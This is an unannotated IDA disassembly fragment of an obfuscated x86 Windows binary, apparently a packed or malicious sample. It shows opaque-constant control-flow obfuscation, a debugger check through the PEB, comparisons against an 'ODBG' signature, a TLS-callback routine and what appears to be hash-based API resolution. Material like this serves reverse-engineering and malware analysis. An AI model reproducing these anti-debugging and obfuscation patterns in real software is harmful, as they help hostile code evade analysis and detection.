; START	OF FUNCTION CHUNK FOR sub_40BF48


loc_4058F1:				; CODE XREF: _837l4vi2:loc_408BF1j
					; sub_40BF48+36ADj
		and	esi, ebp
		mov	[ebp+0], eax


loc_4058F6:				; CODE XREF: sub_40BF48:loc_40F976j
		push	0
		push	0
		push	0FFFFFFFFh
		push	0
		call	sub_409153
		xor	[esp+10h+var_10], eax
		jmp	loc_409687
; END OF FUNCTION CHUNK	FOR sub_40BF48
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_161. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_408736


loc_40590C:				; CODE XREF: sub_408736:loc_40755Ej
		jge	loc_408907
		xor	ebp, eax
		jmp	loc_40D278
; END OF FUNCTION CHUNK	FOR sub_408736
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_408885


loc_405919:				; CODE XREF: sub_408885:loc_407727j
		push	0D76A28B1h
		pop	eax
		add	eax, 28D6554Fh
		xchg	eax, [esp+0]
		jmp	sub_4064CE
; END OF FUNCTION CHUNK	FOR sub_408885
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40F5BE


loc_40592D:				; CODE XREF: sub_40F5BE:loc_40508Dj
		mov	eax, [eax]
		call	sub_4108AF

locret_405934:				; CODE XREF: sub_40AA44+65C9j
		retn
; END OF FUNCTION CHUNK	FOR sub_40F5BE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40DE47


loc_405935:				; CODE XREF: sub_40DE47+11j
		jmp	loc_40F227
; END OF FUNCTION CHUNK	FOR sub_40DE47
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40AA44


loc_40593A:				; CODE XREF: sub_40AA44+4j
		call	sub_40BF48
		test	al, al
		jz	loc_407C65
		jmp	loc_40E05E
; END OF FUNCTION CHUNK	FOR sub_40AA44
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40C1F0


loc_40594C:				; CODE XREF: sub_40C1F0-D8Fj
		xchg	eax, [esp+0]
		retn
; END OF FUNCTION CHUNK	FOR sub_40C1F0

; =============== S U B	R O U T	I N E =======================================



sub_405950	proc near		; DATA XREF: sub_40C1F0-D94o

; FUNCTION CHUNK AT 004050D6 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0040519F SIZE 0000001D BYTES
; FUNCTION CHUNK AT 00407312 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0040851A SIZE 0000000D BYTES
; FUNCTION CHUNK AT 00408B89 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 0040941D SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0040A565 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0040AA13 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0040AABC SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0040B1B3 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 0040C47D SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0040CFB4 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0040D089 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0040DCEC SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0040EC13 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0040ED9C SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0040F42E SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0040F6E2 SIZE 00000005 BYTES

		or	eax, 57C73179h
		sub	eax, 0D256D37Fh
		xor	eax, 5A8EB9Dh
		call	sub_40D92B
		jmp	loc_40941D
sub_405950	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		jmp	loc_40990B

; =============== S U B	R O U T	I N E =======================================



sub_405971	proc near		; CODE XREF: sub_40DC3E-6695p
					; _837l4vi2:0040DB5Fj
		xchg	esi, [esp+0]
		pop	esi
		mov	eax, ds:dword_406D68[eax*4]
		mov	[ebp-8], eax
		call	sub_406BF8
sub_405971	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_405984	proc near		; CODE XREF: sub_406C7D-105Cp
					; _837l4vi2:0040F730j

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 00406235 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0040716D SIZE 00000011 BYTES
; FUNCTION CHUNK AT 00408918 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 00408BC4 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 004095D1 SIZE 00000019 BYTES
; FUNCTION CHUNK AT 0040F33B SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0040FA01 SIZE 00000011 BYTES

		xchg	esi, [esp+0]
		pop	esi
		push	6ED62C3Dh
		pop	eax
		sub	eax, 7B01460Dh
		jmp	loc_40F33B
sub_405984	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4065B8


loc_405999:				; CODE XREF: sub_4065B8:loc_408161j
		push	eax
		cmp	dword ptr [ebp-14h], 5
		call	sub_409A88


loc_4059A3:				; CODE XREF: sub_40ADCA+5AF1j
		jmp	loc_410A34
; END OF FUNCTION CHUNK	FOR sub_4065B8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40801F


loc_4059A8:				; CODE XREF: sub_40801F+8304j
		jmp	loc_40E2D5
; END OF FUNCTION CHUNK	FOR sub_40801F
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_35. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40D977


loc_4059AE:				; CODE XREF: sub_40D977-4C25j
		jmp	loc_40A974
; END OF FUNCTION CHUNK	FOR sub_40D977
; ---------------------------------------------------------------------------
		xchg	edi, ebx
		jmp	sub_408B9F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40B67D


loc_4059BA:				; CODE XREF: sub_40B67D:loc_40AC2Dj
		xor	esi, 6DB85CD4h
		popf
		adc	edx, esi
		pop	esi
		or	ebx, eax


loc_4059C6:				; CODE XREF: _837l4vi2:loc_40514Ej
		ror	eax, 13h
		jmp	loc_409E51
; END OF FUNCTION CHUNK	FOR sub_40B67D
; ---------------------------------------------------------------------------

locret_4059CE:				; CODE XREF: _837l4vi2:loc_40B6CAj
		retn

; =============== S U B	R O U T	I N E =======================================



sub_4059CF	proc near		; CODE XREF: sub_40B67D-5936p
					; _837l4vi2:0040DA31j

; FUNCTION CHUNK AT 0040FBA4 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00410A44 SIZE 0000001C BYTES

		xchg	edx, [esp+0]
		pop	edx
		rol	eax, 9
		push	ecx
		pushf
		push	1CEF94F8h
		jmp	loc_40FBA4
sub_4059CF	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_4059E2	proc near		; DATA XREF: _837l4vi2:loc_40EE11o

arg_0		= dword	ptr  4

		popf
		xchg	edi, [esp-4+arg_0]
		jmp	loc_40D994
sub_4059E2	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40966E


loc_4059EB:				; CODE XREF: sub_40966E:loc_40FEC4j
		or	edi, esi
		jmp	loc_40EBCE
; END OF FUNCTION CHUNK	FOR sub_40966E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40BDE4


loc_4059F2:				; CODE XREF: sub_40BDE4:loc_40F7F1j
		ror	ebx, 0Ch
		or	ecx, esi
		jmp	sub_40AA44
; END OF FUNCTION CHUNK	FOR sub_40BDE4

; =============== S U B	R O U T	I N E =======================================



sub_4059FC	proc near		; CODE XREF: _837l4vi2:00405652j
					; sub_40B7DE+1p

; FUNCTION CHUNK AT 00405784 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 0040606D SIZE 0000001B BYTES
; FUNCTION CHUNK AT 004068EC SIZE 0000000A BYTES
; FUNCTION CHUNK AT 004077BD SIZE 00000013 BYTES

		xchg	edx, [esp+0]
		pop	edx
		mov	ebp, esp
		add	esp, 0FFFFFFECh


loc_405A05:				; CODE XREF: _837l4vi2:loc_40FA13j
		cmp	ds:byte_40BDC0,	0
		jnz	loc_4077BD
		lea	edx, [ebp-14h]
		jmp	loc_405784
sub_4059FC	endp ; sp-analysis failed

; ---------------------------------------------------------------------------


loc_405A1A:				; CODE XREF: _837l4vi2:00407239j
		push	ebx


loc_405A1B:				; CODE XREF: _837l4vi2:loc_405FE9j
		lea	eax, [ebp-24h]
		push	eax
		push	3C82ECDEh
		jmp	loc_4081E6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40CD07


loc_405A29:				; CODE XREF: sub_40CD07:loc_41009Bj
		push	1Ch
		push	8E3B5159h
		mov	eax, offset loc_40EA8F
		xchg	eax, [esp+8+var_8]
		retn
; END OF FUNCTION CHUNK	FOR sub_40CD07
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4053DD


loc_405A39:				; CODE XREF: sub_4053DD+71F7j
		jnz	loc_40B0D6


loc_405A3F:				; CODE XREF: sub_4053DD:loc_4057DBj
		xor	eax, eax
		push	offset sub_40B871
		jmp	loc_40BE5D
; END OF FUNCTION CHUNK	FOR sub_4053DD
; ---------------------------------------------------------------------------
		and	ebx, ecx
		jmp	sub_40CE0E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_408A93


loc_405A52:				; CODE XREF: sub_408A93+1BBEj
		push	eax
		call	sub_409D80
		cmp	dword ptr [ebp-0Ch], 0
		jz	loc_40BF88
		jmp	loc_40C983
; END OF FUNCTION CHUNK	FOR sub_408A93
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_410D95


loc_405A67:				; CODE XREF: sub_410D95+Aj
		add	eax, ebp
		add	eax, 0DB37A47Bh
		cmp	dword ptr [eax], 4742444Fh
		jz	loc_409F1E
		jmp	loc_409FD2
; END OF FUNCTION CHUNK	FOR sub_410D95
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_405BB4


loc_405A80:				; CODE XREF: sub_405BB4+47F5j
		jnz	loc_405A9D
		mov	eax, [ebp+8]
		mov	eax, [eax-8]
		or	eax, 8
		or	eax, 10h
		mov	edx, [ebp+8]
		mov	[edx-8], eax
		jmp	loc_40A4D3
; ---------------------------------------------------------------------------


loc_405A9D:				; CODE XREF: sub_405BB4:loc_405A80j
		cmp	dword ptr [ebp-10h], 2
		jmp	loc_40830C
; END OF FUNCTION CHUNK	FOR sub_405BB4
; ---------------------------------------------------------------------------


loc_405AA6:				; CODE XREF: _837l4vi2:0040DE1Fj
		jz	loc_40E709
		jmp	loc_4096E3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_41020E


loc_405AB1:				; CODE XREF: sub_41020E:loc_40FA57j
		jz	loc_40D1CF
		jmp	loc_40B2F6
; END OF FUNCTION CHUNK	FOR sub_41020E
; ---------------------------------------------------------------------------

locret_405ABC:				; CODE XREF: _837l4vi2:0040A436j
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_406C7D


loc_405ABD:				; CODE XREF: sub_406C7D-1B34j
		push	eax
		call	sub_40B99D
		retn
; END OF FUNCTION CHUNK	FOR sub_406C7D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_409694


loc_405AC4:				; CODE XREF: sub_409694+17j
		jmp	nullsub_24
; END OF FUNCTION CHUNK	FOR sub_409694
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_408D2F


loc_405AC9:				; CODE XREF: sub_408D2F+Dj
		jmp	loc_40C554
; END OF FUNCTION CHUNK	FOR sub_408D2F
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_15. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_408527


loc_405ACF:				; CODE XREF: sub_408527+Fj
		jmp	loc_4065A9
; END OF FUNCTION CHUNK	FOR sub_408527
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40F1EC


loc_405AD4:				; CODE XREF: sub_40F1EC+6j
		mov	eax, [ebp-0Ch]
		jmp	loc_409BA8
; END OF FUNCTION CHUNK	FOR sub_40F1EC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4055B5


loc_405ADC:				; CODE XREF: sub_4055B5+36F1j
		mov	eax, [eax]
		add	eax, [ebp-4]
		add	eax, 18h
; END OF FUNCTION CHUNK	FOR sub_4055B5
; START	OF FUNCTION CHUNK FOR sub_4055D2


loc_405AE4:				; CODE XREF: sub_4055D2-22j
		mov	[ebp-10h], eax
		mov	eax, [ebp-10h]
		mov	eax, [eax+60h]
		add	eax, [ebp-4]
		mov	[ebp-14h], eax
		jmp	loc_40F74D
; END OF FUNCTION CHUNK	FOR sub_4055D2
; ---------------------------------------------------------------------------


loc_405AF8:				; CODE XREF: _837l4vi2:0040CB78j
		xchg	edx, ecx

; =============== S U B	R O U T	I N E =======================================



sub_405AFA	proc near		; CODE XREF: sub_40D977-354Cp

; FUNCTION CHUNK AT 00405190 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00406294 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 004064A5 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 004074FB SIZE 00000012 BYTES
; FUNCTION CHUNK AT 00408A3F SIZE 0000001B BYTES
; FUNCTION CHUNK AT 0040A740 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0040DCA8 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 0040F63D SIZE 00000005 BYTES

		mov	[esp+0], eax
		pop	eax
		cmp	ebx, 815B355Bh
		shl	eax, 1Ah
		jmp	loc_40F63D
sub_405AFA	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40CEC1


loc_405B0C:				; CODE XREF: sub_40CEC1-6F8Dj
		xchg	ebx, [ebp+0]
; END OF FUNCTION CHUNK	FOR sub_40CEC1
; START	OF FUNCTION CHUNK FOR sub_40833D


loc_405B0F:				; CODE XREF: sub_40CEC1:loc_40630Cj
					; sub_409DD8-DFBj ...
		js	loc_40C884
		cmp	dword ptr [ebp-4], 1
		jnz	loc_40EAD3
		lea	eax, [ebp-2AAh]
		cmp	dword ptr [eax], 4742444Fh
		jz	loc_409F1E
		jmp	loc_40566F
; END OF FUNCTION CHUNK	FOR sub_40833D
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_17. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4089C5


loc_405B37:				; CODE XREF: sub_4089C5:loc_40ED05j
		xor	eax, edx
		jmp	loc_405D9C
; END OF FUNCTION CHUNK	FOR sub_4089C5
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_117. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40989E


loc_405B3F:				; CODE XREF: sub_40989E+Dj
		jmp	loc_407A7F
; END OF FUNCTION CHUNK	FOR sub_40989E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40D1EC


loc_405B44:				; CODE XREF: sub_40D1EC-50DDj
		jmp	sub_40E739
; END OF FUNCTION CHUNK	FOR sub_40D1EC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40CF3C


loc_405B49:				; CODE XREF: sub_40CF3C:loc_405E27j
		pop	edi
		xor	edi, 0F1715A53h
		add	edi, 0E3B7F0C3h
		xchg	edi, [esp+4+var_4]
		jmp	loc_40C328
; END OF FUNCTION CHUNK	FOR sub_40CF3C
; ---------------------------------------------------------------------------


loc_405B5E:				; CODE XREF: _837l4vi2:00406AAEj
		jz	loc_40E98C
; START	OF FUNCTION CHUNK FOR sub_40CE96


loc_405B64:				; CODE XREF: sub_40CE96:loc_40C277j
		mov	eax, [ebp-4]
		cmp	byte ptr [eax],	0EBh
		jmp	loc_41036C
; END OF FUNCTION CHUNK	FOR sub_40CE96
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40DE68


loc_405B6F:				; CODE XREF: sub_40DE68:loc_40DE71j
		mov	eax, [ebp+var_4]
		movzx	eax, byte ptr [eax]
		cmp	ds:dword_406D68[eax*4],	0
		jz	loc_40E993
		jmp	loc_40D34A
; END OF FUNCTION CHUNK	FOR sub_40DE68
; ---------------------------------------------------------------------------
		or	edi, 5B371AA2h
		jmp	loc_40E9AF
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_186. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
		mov	[edi], ebx
		mov	ebp, [esi]
		jmp	sub_405E21
; ---------------------------------------------------------------------------


loc_405B9D:				; DATA XREF: sub_4078C8+5EB4o
		mov	esp, ebp
		pop	ebp
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40966E


loc_405BA1:				; CODE XREF: sub_40966E:loc_410EE1j
		jmp	loc_40A494
; END OF FUNCTION CHUNK	FOR sub_40966E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_405C17


loc_405BA6:				; CODE XREF: sub_40B205+4j
					; sub_405C17+5694j ...
		mov	eax, [ebp-0Ch]
		movzx	eax, byte ptr [eax]
		add	[ebp-8], eax
		jmp	loc_4084D9
; END OF FUNCTION CHUNK	FOR sub_405C17

; =============== S U B	R O U T	I N E =======================================



sub_405BB4	proc near		; DATA XREF: sub_4060C7-BC9o

; FUNCTION CHUNK AT 00405A80 SIZE 00000026 BYTES
; FUNCTION CHUNK AT 004073B1 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00408764 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004088F9 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 00408DBC SIZE 00000019 BYTES
; FUNCTION CHUNK AT 00408EBE SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00409776 SIZE 0000002D BYTES
; FUNCTION CHUNK AT 0040A3A5 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 0040A4D3 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0040B2D3 SIZE 0000001C BYTES
; FUNCTION CHUNK AT 0040B480 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0040B6E9 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0040C114 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 0040E899 SIZE 00000027 BYTES
; FUNCTION CHUNK AT 0040F8D6 SIZE 00000018 BYTES

		call	sub_40E739
		test	eax, eax
		setnz	byte ptr [ebp-1]
		push	ecx
		push	0B804A93h
		jmp	loc_40B6E9
sub_405BB4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_405BCA	proc near		; DATA XREF: sub_407E61:loc_40BF08o
		push	ebp
		mov	ebp, esp
		push	ecx
		mov	esp, ebp
		push	offset sub_40E463
		jmp	nullsub_12
sub_405BCA	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40E4F1


loc_405BDA:				; CODE XREF: sub_40E4F1:loc_408EA5j
		jnz	loc_40A667
		call	sub_409218
		mov	edx, 87C4571Ah
		call	sub_40E739


loc_405BEF:				; CODE XREF: sub_40966E-433Cj
		push	ecx
		mov	ecx, eax
		xchg	ecx, [esp+4+var_4]
		rol	eax, 10h
		jmp	loc_4073B6
; END OF FUNCTION CHUNK	FOR sub_40E4F1
; ---------------------------------------------------------------------------


loc_405BFD:				; CODE XREF: _837l4vi2:00410BA8j
		sub	ebp, ecx
		jmp	sub_410BD3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40BF48


loc_405C04:				; CODE XREF: sub_40BF48-3342j
		test	ecx, esi
		jmp	loc_40EFD3
; END OF FUNCTION CHUNK	FOR sub_40BF48
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_408F30


loc_405C0B:				; CODE XREF: sub_408F30:loc_40E3C3j
		xchg	edx, [esp+0]
		mov	ebp, edx
		pop	edx
		retn
; END OF FUNCTION CHUNK	FOR sub_408F30
; ---------------------------------------------------------------------------


loc_405C12:				; CODE XREF: _837l4vi2:00407F31j
		jmp	loc_410073

; =============== S U B	R O U T	I N E =======================================



sub_405C17	proc near		; CODE XREF: _837l4vi2:0040F99Ep

; FUNCTION CHUNK AT 00405BA6 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 00405DE0 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00406AD7 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00408171 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 004084D9 SIZE 0000001A BYTES
; FUNCTION CHUNK AT 0040B29F SIZE 00000017 BYTES
; FUNCTION CHUNK AT 0040C67F SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0040E4A9 SIZE 00000019 BYTES
; FUNCTION CHUNK AT 0040E83A SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0040E882 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0040EAF4 SIZE 0000000B BYTES

		xchg	ebp, edx
		push	edx
		jmp	loc_408171
sub_405C17	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_406C7D


loc_405C1F:				; CODE XREF: sub_406C7D-8F1j
					; sub_406C7D:loc_40EC5Dj
		mov	edi, eax
		call	sub_405984
; END OF FUNCTION CHUNK	FOR sub_406C7D
; START	OF FUNCTION CHUNK FOR sub_40C4A5


loc_405C26:				; CODE XREF: sub_40C4A5+Aj
		jmp	loc_40669C
; END OF FUNCTION CHUNK	FOR sub_40C4A5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40D735


loc_405C2B:				; CODE XREF: sub_40D735-2DC6j
		jnz	loc_405D9D
		jmp	loc_409D42
; END OF FUNCTION CHUNK	FOR sub_40D735
; ---------------------------------------------------------------------------


loc_405C36:				; CODE XREF: _837l4vi2:00407529j
		cdq

; =============== S U B	R O U T	I N E =======================================



sub_405C37	proc near		; CODE XREF: sub_40DD9E+Cp

arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 0040961B SIZE 00000014 BYTES
; FUNCTION CHUNK AT 0040AAD6 SIZE 0000001B BYTES
; FUNCTION CHUNK AT 0040F9F7 SIZE 00000005 BYTES

		xchg	eax, [esp+0]
		pop	eax
		add	edx, ebp
		jmp	loc_40AAD6
sub_405C37	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_409D6B


loc_405C42:				; CODE XREF: sub_409D6B:loc_40F080j
					; DATA XREF: _837l4vi2:00410D53o
		mov	eax, [ebp-4]
		and	dword ptr [eax+24h], 7FFFFFFFh
		lea	eax, [ebp-14h]
		push	eax
		jmp	loc_40D0F5
; END OF FUNCTION CHUNK	FOR sub_409D6B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4108AF


loc_405C55:				; CODE XREF: sub_4108AF-A2DCj
		test	ecx, eax
		jmp	loc_410744
; END OF FUNCTION CHUNK	FOR sub_4108AF

; =============== S U B	R O U T	I N E =======================================



sub_405C5C	proc near		; DATA XREF: TlsCallback_0:loc_4106EAo

; FUNCTION CHUNK AT 00406C59 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0040DB6F SIZE 0000000B BYTES

		push	ebp
		call	sub_41025B


loc_405C62:				; CODE XREF: sub_40529C:loc_407EF1j
		mov	esp, ebp


loc_405C64:				; CODE XREF: sub_40E236:loc_406412j
		pop	ebp
		mov	eax, ds:dword_4109F0
		or	eax, eax
		jmp	loc_40DB6F
sub_405C5C	endp

; ---------------------------------------------------------------------------


loc_405C72:				; CODE XREF: _837l4vi2:0040CB4Bj
		inc	eax
		jmp	loc_4079F9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40892F


loc_405C78:				; CODE XREF: sub_40892F:loc_40F885j
		mov	eax, [ebp-4]
		call	sub_40DE68
		test	al, al
		jnz	loc_40C48D
		jmp	loc_4079E9
; END OF FUNCTION CHUNK	FOR sub_40892F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4061B1


loc_405C8D:				; CODE XREF: sub_4061B1+8DABj
		pop	esi
		add	esi, 51B34BE7h
		rol	esi, 1
		add	esi, 9D38ABA4h
		xchg	esi, [esp+4+var_4]
		jmp	sub_405606
; END OF FUNCTION CHUNK	FOR sub_4061B1
; ---------------------------------------------------------------------------
		mov	edx, 9E99B23Eh
		call	sub_40E739
		push	eax
		jmp	loc_40F807
; ---------------------------------------------------------------------------


loc_405CB4:				; CODE XREF: _837l4vi2:0040B33Dj
		jmp	loc_4080F6
; ---------------------------------------------------------------------------
		pop	ecx
		pop	ebp
		retn

; =============== S U B	R O U T	I N E =======================================



sub_405CBC	proc near		; CODE XREF: sub_40B362:loc_408A3Aj
					; sub_40D735:loc_40A21Cp ...

arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 004062AA SIZE 00000016 BYTES
; FUNCTION CHUNK AT 00406CFD SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00407602 SIZE 0000001E BYTES
; FUNCTION CHUNK AT 0040894E SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00408ECD SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00409178 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0040933A SIZE 00000017 BYTES
; FUNCTION CHUNK AT 0040B974 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 0040C14C SIZE 00000016 BYTES
; FUNCTION CHUNK AT 0040C96B SIZE 00000018 BYTES
; FUNCTION CHUNK AT 0040CB2A SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0040D482 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0040E608 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0040E7D4 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0040EE9F SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0040F1D1 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0040F2F9 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 0040F571 SIZE 0000001A BYTES
; FUNCTION CHUNK AT 004102F4 SIZE 00000005 BYTES

		jns	loc_406CFD
		jmp	loc_4102F4
sub_405CBC	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		call	sub_406637
; START	OF FUNCTION CHUNK FOR sub_405D62


loc_405CCC:				; CODE XREF: sub_405D62:loc_40C436j
		push	0
		push	eax
		call	sub_4065B8
; END OF FUNCTION CHUNK	FOR sub_405D62
; START	OF FUNCTION CHUNK FOR sub_40DB41


loc_405CD4:				; CODE XREF: sub_40DB41:loc_40DB54j
		jmp	loc_40DC95
; END OF FUNCTION CHUNK	FOR sub_40DB41
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_19. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_408F4B


loc_405CDA:				; CODE XREF: sub_408F4B+36C9j
		jmp	loc_40CA15
; END OF FUNCTION CHUNK	FOR sub_408F4B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4065B8


loc_405CDF:				; CODE XREF: sub_4065B8+498Bj
		and	eax, 0C716AF0h


loc_405CE5:				; CODE XREF: sub_4065B8:loc_40E5D6j
		push	0
		push	0
		push	10h
		jmp	loc_4076BF
; END OF FUNCTION CHUNK	FOR sub_4065B8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_405797


loc_405CF0:				; CODE XREF: sub_405797+6j
		cmp	ds:byte_40BDC0,	0
		jnz	loc_4077BD
		lea	edx, [ebp+var_14]
		mov	eax, offset dword_40BDC8
		push	offset loc_40762E
		jmp	nullsub_21
; END OF FUNCTION CHUNK	FOR sub_405797
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40C1F0


loc_405D0F:				; CODE XREF: sub_40C1F0+2F4Aj
		mov	large fs:0, esp
		mov	eax, large fs:30h
		add	eax, 2
		mov	eax, [eax]
		or	al, al
		jz	loc_405061
		jmp	loc_40AA67
; END OF FUNCTION CHUNK	FOR sub_40C1F0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40B67D


loc_405D2F:				; CODE XREF: sub_40B67D:loc_40DAA0j
		mov	[edx], eax
		call	sub_406327


loc_405D36:				; CODE XREF: _837l4vi2:loc_40F296j
		mov	eax, ecx
		xchg	eax, [esp+0]
		sbb	eax, 79BA7236h
		jnz	loc_40F261
		call	sub_4059CF
; END OF FUNCTION CHUNK	FOR sub_40B67D
; START	OF FUNCTION CHUNK FOR sub_4103D0


loc_405D4C:				; CODE XREF: sub_4103D0:loc_4074F6j
		jz	loc_408504
		jmp	loc_409981
; END OF FUNCTION CHUNK	FOR sub_4103D0
; ---------------------------------------------------------------------------
		add	edx, 0A2001A0Ah
		jmp	sub_408736

; =============== S U B	R O U T	I N E =======================================



sub_405D62	proc near		; CODE XREF: sub_40D263-7042p
					; sub_40F5FA+16j

; FUNCTION CHUNK AT 00405806 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00405CCC SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00407F8D SIZE 0000000F BYTES
; FUNCTION CHUNK AT 0040843B SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004092D0 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 00409E39 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0040A16B SIZE 00000010 BYTES
